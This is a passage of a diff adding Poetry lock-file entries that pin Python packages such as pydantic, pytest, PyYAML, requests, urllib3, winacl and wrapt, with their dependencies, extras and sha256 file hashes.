+ {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b02d24f7b2b365fed586ed73582c20f353a4c50e4be9ba2c57ab96f8091ddae"},
+ {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3f34739a89260dfa420aa3cbd069fbcc794b25bbe5c0a214f8fb29e363484b66"},
+ {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e297897eb4bebde985f72a46a7552a7556a3dd11e7f76acda0c1093e3dbcf216"},
+ {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d185819a7a059550ecb85d5134e7d40f2565f3dd94cfd870132c5f91a89cf58c"},
+ {file = "pydantic-1.10.11-cp311-cp311-win_amd64.whl", hash = "sha256:4400015f15c9b464c9db2d5d951b6a780102cfa5870f2c036d37c23b56f7fc1b"},
+ {file = "pydantic-1.10.11-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2417de68290434461a266271fc57274a138510dca19982336639484c73a07af6"},
+ {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:331c031ba1554b974c98679bd0780d89670d6fd6f53f5d70b10bdc9addee1713"},
+ {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8268a735a14c308923e8958363e3a3404f6834bb98c11f5ab43251a4e410170c"},
+ {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:44e51ba599c3ef227e168424e220cd3e544288c57829520dc90ea9cb190c3248"},
+ {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d7781f1d13b19700b7949c5a639c764a077cbbdd4322ed505b449d3ca8edcb36"},
+ {file = "pydantic-1.10.11-cp37-cp37m-win_amd64.whl", hash = "sha256:7522a7666157aa22b812ce14c827574ddccc94f361237ca6ea8bb0d5c38f1629"},
+ {file = "pydantic-1.10.11-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bc64eab9b19cd794a380179ac0e6752335e9555d214cfcb755820333c0784cb3"},
+ {file = "pydantic-1.10.11-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:8dc77064471780262b6a68fe67e013298d130414d5aaf9b562c33987dbd2cf4f"},
+ {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe429898f2c9dd209bd0632a606bddc06f8bce081bbd03d1c775a45886e2c1cb"},
+ {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:192c608ad002a748e4a0bed2ddbcd98f9b56df50a7c24d9a931a8c5dd053bd3d"},
+ {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ef55392ec4bb5721f4ded1096241e4b7151ba6d50a50a80a2526c854f42e6a2f"},
+ {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:41e0bb6efe86281623abbeeb0be64eab740c865388ee934cd3e6a358784aca6e"},
+ {file = "pydantic-1.10.11-cp38-cp38-win_amd64.whl", hash = "sha256:265a60da42f9f27e0b1014eab8acd3e53bd0bad5c5b4884e98a55f8f596b2c19"},
+ {file = "pydantic-1.10.11-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:469adf96c8e2c2bbfa655fc7735a2a82f4c543d9fee97bd113a7fb509bf5e622"},
+ {file = "pydantic-1.10.11-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e6cbfbd010b14c8a905a7b10f9fe090068d1744d46f9e0c021db28daeb8b6de1"},
+ {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:abade85268cc92dff86d6effcd917893130f0ff516f3d637f50dadc22ae93999"},
+ {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9738b0f2e6c70f44ee0de53f2089d6002b10c33264abee07bdb5c7f03038303"},
+ {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:787cf23e5a0cde753f2eabac1b2e73ae3844eb873fd1f5bdbff3048d8dbb7604"},
+ {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:174899023337b9fc685ac8adaa7b047050616136ccd30e9070627c1aaab53a13"},
+ {file = "pydantic-1.10.11-cp39-cp39-win_amd64.whl", hash = "sha256:1954f8778489a04b245a1e7b8b22a9d3ea8ef49337285693cf6959e4b757535e"},
+ {file = "pydantic-1.10.11-py3-none-any.whl", hash = "sha256:008c5e266c8aada206d0627a011504e14268a62091450210eda7c07fabe6963e"},
+ {file = "pydantic-1.10.11.tar.gz", hash = "sha256:f66d479cf7eb331372c470614be6511eae96f1f120344c25f3f9bb59fb1b5528"},
+]
+
+[package.dependencies]
+typing-extensions = ">=4.2.0"
+
+[package.extras]
+dotenv = ["python-dotenv (>=0.10.4)"]
+email = ["email-validator (>=1.0.3)"]
+
+[[package]]
+name = "pyflakes"
+version = "2.5.0"
+description = "passive checker of Python programs"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pyflakes-2.5.0-py2.py3-none-any.whl", hash = "sha256:4579f67d887f804e67edb544428f264b7b24f435b263c4614f384135cea553d2"},
+ {file = "pyflakes-2.5.0.tar.gz", hash = "sha256:491feb020dca48ccc562a8c0cbe8df07ee13078df59813b83959cbdada312ea3"},
+]
+
+[[package]]
+name = "pygments"
+version = "2.15.1"
+description = "Pygments is a syntax highlighting package written in Python."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "Pygments-2.15.1-py3-none-any.whl", hash = "sha256:db2db3deb4b4179f399a09054b023b6a586b76499d36965813c71aa8ed7b5fd1"},
+ {file = "Pygments-2.15.1.tar.gz", hash = "sha256:8ace4d3c1dd481894b2005f560ead0f9f19ee64fe983366be1a21e171d12775c"},
+]
+
+[package.extras]
+plugins = ["importlib-metadata"]
+
+[[package]]
+name = "pytest"
+version = "7.4.0"
+description = "pytest: simple powerful testing with Python"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pytest-7.4.0-py3-none-any.whl", hash = "sha256:78bf16451a2eb8c7a2ea98e32dc119fd2aa758f1d5d66dbf0a59d69a3969df32"},
+ {file = "pytest-7.4.0.tar.gz", hash = "sha256:b4bf8c45bd59934ed84001ad51e11b4ee40d40a1229d2c79f9c592b0a3f6bd8a"},
+]
+
+[package.dependencies]
+colorama = {version = "*", markers = "sys_platform == \"win32\""}
+exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""}
+iniconfig = "*"
+packaging = "*"
+pluggy = ">=0.12,<2.0"
+tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""}
+
+[package.extras]
+testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"]
+
+[[package]]
+name = "pytest-asyncio"
+version = "0.20.3"
+description = "Pytest support for asyncio"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pytest-asyncio-0.20.3.tar.gz", hash = "sha256:83cbf01169ce3e8eb71c6c278ccb0574d1a7a3bb8eaaf5e50e0ad342afb33b36"},
+ {file = "pytest_asyncio-0.20.3-py3-none-any.whl", hash = "sha256:f129998b209d04fcc65c96fc85c11e5316738358909a8399e93be553d7656442"},
+]
+
+[package.dependencies]
+pytest = ">=6.1.0"
+
+[package.extras]
+docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1.0)"]
+testing = ["coverage (>=6.2)", "flaky (>=3.5.0)", "hypothesis (>=5.7.1)", "mypy (>=0.931)", "pytest-trio (>=0.7.0)"]
+
+[[package]]
+name = "python-dateutil"
+version = "2.8.2"
+description = "Extensions to the standard Python datetime module"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
+files = [
+ {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"},
+ {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"},
+]
+
+[package.dependencies]
+six = ">=1.5"
+
+[[package]]
+name = "pyyaml"
+version = "6.0"
+description = "YAML parser and emitter for Python"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "PyYAML-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d4db7c7aef085872ef65a8fd7d6d09a14ae91f691dec3e87ee5ee0539d516f53"},
+ {file = "PyYAML-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9df7ed3b3d2e0ecfe09e14741b857df43adb5a3ddadc919a2d94fbdf78fea53c"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77f396e6ef4c73fdc33a9157446466f1cff553d979bd00ecb64385760c6babdc"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a80a78046a72361de73f8f395f1f1e49f956c6be882eed58505a15f3e430962b"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f84fbc98b019fef2ee9a1cb3ce93e3187a6df0b2538a651bfb890254ba9f90b5"},
+ {file = "PyYAML-6.0-cp310-cp310-win32.whl", hash = "sha256:2cd5df3de48857ed0544b34e2d40e9fac445930039f3cfe4bcc592a1f836d513"},
+ {file = "PyYAML-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:daf496c58a8c52083df09b80c860005194014c3698698d1a57cbcfa182142a3a"},
+ {file = "PyYAML-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d4b0ba9512519522b118090257be113b9468d804b19d63c71dbcf4a48fa32358"},
+ {file = "PyYAML-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:81957921f441d50af23654aa6c5e5eaf9b06aba7f0a19c18a538dc7ef291c5a1"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afa17f5bc4d1b10afd4466fd3a44dc0e245382deca5b3c353d8b757f9e3ecb8d"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dbad0e9d368bb989f4515da330b88a057617d16b6a8245084f1b05400f24609f"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432557aa2c09802be39460360ddffd48156e30721f5e8d917f01d31694216782"},
+ {file = "PyYAML-6.0-cp311-cp311-win32.whl", hash = "sha256:bfaef573a63ba8923503d27530362590ff4f576c626d86a9fed95822a8255fd7"},
+ {file = "PyYAML-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:01b45c0191e6d66c470b6cf1b9531a771a83c1c4208272ead47a3ae4f2f603bf"},
+ {file = "PyYAML-6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:897b80890765f037df3403d22bab41627ca8811ae55e9a722fd0392850ec4d86"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50602afada6d6cbfad699b0c7bb50d5ccffa7e46a3d738092afddc1f9758427f"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48c346915c114f5fdb3ead70312bd042a953a8ce5c7106d5bfb1a5254e47da92"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:98c4d36e99714e55cfbaaee6dd5badbc9a1ec339ebfc3b1f52e293aee6bb71a4"},
+ {file = "PyYAML-6.0-cp36-cp36m-win32.whl", hash = "sha256:0283c35a6a9fbf047493e3a0ce8d79ef5030852c51e9d911a27badfde0605293"},
+ {file = "PyYAML-6.0-cp36-cp36m-win_amd64.whl", hash = "sha256:07751360502caac1c067a8132d150cf3d61339af5691fe9e87803040dbc5db57"},
+ {file = "PyYAML-6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:819b3830a1543db06c4d4b865e70ded25be52a2e0631ccd2f6a47a2822f2fd7c"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:473f9edb243cb1935ab5a084eb238d842fb8f404ed2193a915d1784b5a6b5fc0"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ce82d761c532fe4ec3f87fc45688bdd3a4c1dc5e0b4a19814b9009a29baefd4"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:231710d57adfd809ef5d34183b8ed1eeae3f76459c18fb4a0b373ad56bedcdd9"},
+ {file = "PyYAML-6.0-cp37-cp37m-win32.whl", hash = "sha256:c5687b8d43cf58545ade1fe3e055f70eac7a5a1a0bf42824308d868289a95737"},
+ {file = "PyYAML-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:d15a181d1ecd0d4270dc32edb46f7cb7733c7c508857278d3d378d14d606db2d"},
+ {file = "PyYAML-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0b4624f379dab24d3725ffde76559cff63d9ec94e1736b556dacdfebe5ab6d4b"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:213c60cd50106436cc818accf5baa1aba61c0189ff610f64f4a3e8c6726218ba"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fa600030013c4de8165339db93d182b9431076eb98eb40ee068700c9c813e34"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:277a0ef2981ca40581a47093e9e2d13b3f1fbbeffae064c1d21bfceba2030287"},
+ {file = "PyYAML-6.0-cp38-cp38-win32.whl", hash = "sha256:d4eccecf9adf6fbcc6861a38015c2a64f38b9d94838ac1810a9023a0609e1b78"},
+ {file = "PyYAML-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:1e4747bc279b4f613a09eb64bba2ba602d8a6664c6ce6396a4d0cd413a50ce07"},
+ {file = "PyYAML-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:055d937d65826939cb044fc8c9b08889e8c743fdc6a32b33e2390f66013e449b"},
+ {file = "PyYAML-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e61ceaab6f49fb8bdfaa0f92c4b57bcfbea54c09277b1b4f7ac376bfb7a7c174"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d67d839ede4ed1b28a4e8909735fc992a923cdb84e618544973d7dfc71540803"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cba8c411ef271aa037d7357a2bc8f9ee8b58b9965831d9e51baf703280dc73d3"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:40527857252b61eacd1d9af500c3337ba8deb8fc298940291486c465c8b46ec0"},
+ {file = "PyYAML-6.0-cp39-cp39-win32.whl", hash = "sha256:b5b9eccad747aabaaffbc6064800670f0c297e52c12754eb1d976c57e4f74dcb"},
+ {file = "PyYAML-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:b3d267842bf12586ba6c734f89d1f5b871df0273157918b0ccefa29deb05c21c"},
+ {file = "PyYAML-6.0.tar.gz", hash = "sha256:68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"},
+]
+
+[[package]]
+name = "requests"
+version = "2.31.0"
+description = "Python HTTP for Humans."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"},
+ {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"},
+]
+
+[package.dependencies]
+certifi = ">=2017.4.17"
+charset-normalizer = ">=2,<4"
+idna = ">=2.5,<4"
+urllib3 = ">=1.21.1,<3"
+
+[package.extras]
+socks = ["PySocks (>=1.5.6,!=1.5.7)"]
+use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"]
+
+[[package]]
+name = "rich"
+version = "13.4.2"
+description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal"
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "rich-13.4.2-py3-none-any.whl", hash = "sha256:8f87bc7ee54675732fa66a05ebfe489e27264caeeff3728c945d25971b6485ec"},
+ {file = "rich-13.4.2.tar.gz", hash = "sha256:d653d6bccede5844304c605d5aac802c7cf9621efd700b46c7ec2b51ea914898"},
+]
+
+[package.dependencies]
+markdown-it-py = ">=2.2.0"
+pygments = ">=2.13.0,<3.0.0"
+
+[package.extras]
+jupyter = ["ipywidgets (>=7.5.1,<9)"]
+
+[[package]]
+name = "s3transfer"
+version = "0.6.1"
+description = "An Amazon S3 Transfer Manager"
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "s3transfer-0.6.1-py3-none-any.whl", hash = "sha256:3c0da2d074bf35d6870ef157158641178a4204a6e689e82546083e31e0311346"},
+ {file = "s3transfer-0.6.1.tar.gz", hash = "sha256:640bb492711f4c0c0905e1f62b6aaeb771881935ad27884852411f8e9cacbca9"},
+]
+
+[package.dependencies]
+botocore = ">=1.12.36,<2.0a.0"
+
+[package.extras]
+crt = ["botocore[crt] (>=1.20.29,<2.0a.0)"]
+
+[[package]]
+name = "six"
+version = "1.16.0"
+description = "Python 2 and 3 compatibility utilities"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*"
+files = [
+ {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"},
+ {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"},
+]
+
+[[package]]
+name = "structlog"
+version = "23.1.0"
+description = "Structured Logging for Python"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "structlog-23.1.0-py3-none-any.whl", hash = "sha256:79b9e68e48b54e373441e130fa447944e6f87a05b35de23138e475c05d0f7e0e"},
+ {file = "structlog-23.1.0.tar.gz", hash = "sha256:270d681dd7d163c11ba500bc914b2472d2b50a8ef00faa999ded5ff83a2f906b"},
+]
+
+[package.extras]
+dev = ["structlog[docs,tests,typing]"]
+docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-mermaid", "twisted"]
+tests = ["coverage[toml]", "freezegun (>=0.2.8)", "pretend", "pytest (>=6.0)", "pytest-asyncio (>=0.17)", "simplejson"]
+typing = ["mypy", "rich", "twisted"]
+
+[[package]]
+name = "tenacity"
+version = "8.2.2"
+description = "Retry code until it succeeds"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "tenacity-8.2.2-py3-none-any.whl", hash = "sha256:2f277afb21b851637e8f52e6a613ff08734c347dc19ade928e519d7d2d8569b0"},
+ {file = "tenacity-8.2.2.tar.gz", hash = "sha256:43af037822bd0029025877f3b2d97cc4d7bb0c2991000a3d59d71517c5c969e0"},
+]
+
+[package.extras]
+doc = ["reno", "sphinx", "tornado (>=4.5)"]
+
+[[package]]
+name = "tomli"
+version = "2.0.1"
+description = "A lil' TOML parser"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "tomli-2.0.1-py3-none-any.whl", hash = "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc"},
+ {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"},
+]
+
+[[package]]
+name = "types-protobuf"
+version = "4.23.0.1"
+description = "Typing stubs for protobuf"
+optional = false
+python-versions = "*"
+files = [
+ {file = "types-protobuf-4.23.0.1.tar.gz", hash = "sha256:7bd5ea122a057b11a82b785d9de464932a1e9175fe977a4128adef11d7f35547"},
+ {file = "types_protobuf-4.23.0.1-py3-none-any.whl", hash = "sha256:c926104f69ea62103846681b35b690d8d100ecf86c6cdda16c850a1313a272e4"},
+]
+
+[[package]]
+name = "typing-extensions"
+version = "4.7.1"
+description = "Backported and Experimental Type Hints for Python 3.7+"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "typing_extensions-4.7.1-py3-none-any.whl", hash = "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36"},
+ {file = "typing_extensions-4.7.1.tar.gz", hash = "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2"},
+]
+
+[[package]]
+name = "urllib3"
+version = "1.26.16"
+description = "HTTP library with thread-safe connection pooling, file post, and more."
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*"
+files = [
+ {file = "urllib3-1.26.16-py2.py3-none-any.whl", hash = "sha256:8d36afa7616d8ab714608411b4a3b13e58f463aee519024578e062e141dce20f"},
+ {file = "urllib3-1.26.16.tar.gz", hash = "sha256:8f135f6502756bde6b2a9b28989df5fbe87c9970cecaa69041edcce7f0589b14"},
+]
+
+[package.extras]
+brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"]
+secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"]
+socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"]
+
+[[package]]
+name = "winacl"
+version = "0.1.7"
+description = "ACL/ACE/Security Descriptor manipulation library in pure Python"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "winacl-0.1.7-py3-none-any.whl", hash = "sha256:5d00ed1d2378823050b4eb87ff3e69d49cb3ecb8bf1e012b69afe15e3bdb2703"},
+ {file = "winacl-0.1.7.tar.gz", hash = "sha256:ca662c091471a6c629d76c5eec63d8a1bf1af7c054348f09c1242f338850b2bd"},
+]
+
+[package.dependencies]
+cryptography = ">=38.0.1"
+
+[[package]]
+name = "wrapt"
+version = "1.15.0"
+description = "Module for decorators, wrappers and monkey patching."
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7"
+files = [
+ {file = "wrapt-1.15.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:ca1cccf838cd28d5a0883b342474c630ac48cac5df0ee6eacc9c7290f76b11c1"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:e826aadda3cae59295b95343db8f3d965fb31059da7de01ee8d1c40a60398b29"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5fc8e02f5984a55d2c653f5fea93531e9836abbd84342c1d1e17abc4a15084c2"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:96e25c8603a155559231c19c0349245eeb4ac0096fe3c1d0be5c47e075bd4f46"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:40737a081d7497efea35ab9304b829b857f21558acfc7b3272f908d33b0d9d4c"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:f87ec75864c37c4c6cb908d282e1969e79763e0d9becdfe9fe5473b7bb1e5f09"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:1286eb30261894e4c70d124d44b7fd07825340869945c79d05bda53a40caa079"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:493d389a2b63c88ad56cdc35d0fa5752daac56ca755805b1b0c530f785767d5e"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:58d7a75d731e8c63614222bcb21dd992b4ab01a399f1f09dd82af17bbfc2368a"},
+ {file = "wrapt-1.15.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:21f6d9a0d5b3a207cdf7acf8e58d7d13d463e639f0c7e01d82cdb671e6cb7923"},
+ {file = "wrapt-1.15.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ce42618f67741d4697684e501ef02f29e758a123aa2d669e2d964ff734ee00ee"},
+ {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41d07d029dd4157ae27beab04d22b8e261eddfc6ecd64ff7000b10dc8b3a5727"},
+ {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:54accd4b8bc202966bafafd16e69da9d5640ff92389d33d28555c5fd4f25ccb7"},
+ {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2fbfbca668dd15b744418265a9607baa970c347eefd0db6a518aaf0cfbd153c0"},
+ {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:76e9c727a874b4856d11a32fb0b389afc61ce8aaf281ada613713ddeadd1cfec"},
+ {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e20076a211cd6f9b44a6be58f7eeafa7ab5720eb796975d0c03f05b47d89eb90"},
+ {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a74d56552ddbde46c246b5b89199cb3fd182f9c346c784e1a93e4dc3f5ec9975"},
+ {file = "wrapt-1.15.0-cp310-cp310-win32.whl", hash = "sha256:26458da5653aa5b3d8dc8b24192f574a58984c749401f98fff994d41d3f08da1"},
+ {file = "wrapt-1.15.0-cp310-cp310-win_amd64.whl", hash = "sha256:75760a47c06b5974aa5e01949bf7e66d2af4d08cb8c1d6516af5e39595397f5e"},
+ {file = "wrapt-1.15.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ba1711cda2d30634a7e452fc79eabcadaffedf241ff206db2ee93dd2c89a60e7"},
+ {file = "wrapt-1.15.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:56374914b132c702aa9aa9959c550004b8847148f95e1b824772d453ac204a72"},
+ {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a89ce3fd220ff144bd9d54da333ec0de0399b52c9ac3d2ce34b569cf1a5748fb"},
+ {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bbe623731d03b186b3d6b0d6f51865bf598587c38d6f7b0be2e27414f7f214e"},
+ {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3abbe948c3cbde2689370a262a8d04e32ec2dd4f27103669a45c6929bcdbfe7c"},
+ {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b67b819628e3b748fd3c2192c15fb951f549d0f47c0449af0764d7647302fda3"},
+ {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:7eebcdbe3677e58dd4c0e03b4f2cfa346ed4049687d839adad68cc38bb559c92"},
+ {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74934ebd71950e3db69960a7da29204f89624dde411afbfb3b4858c1409b1e98"},
+ {file = "wrapt-1.15.0-cp311-cp311-win32.whl", hash = "sha256:bd84395aab8e4d36263cd1b9308cd504f6cf713b7d6d3ce25ea55670baec5416"},
+ {file = "wrapt-1.15.0-cp311-cp311-win_amd64.whl", hash = "sha256:a487f72a25904e2b4bbc0817ce7a8de94363bd7e79890510174da9d901c38705"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:4ff0d20f2e670800d3ed2b220d40984162089a6e2c9646fdb09b85e6f9a8fc29"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:9ed6aa0726b9b60911f4aed8ec5b8dd7bf3491476015819f56473ffaef8959bd"},
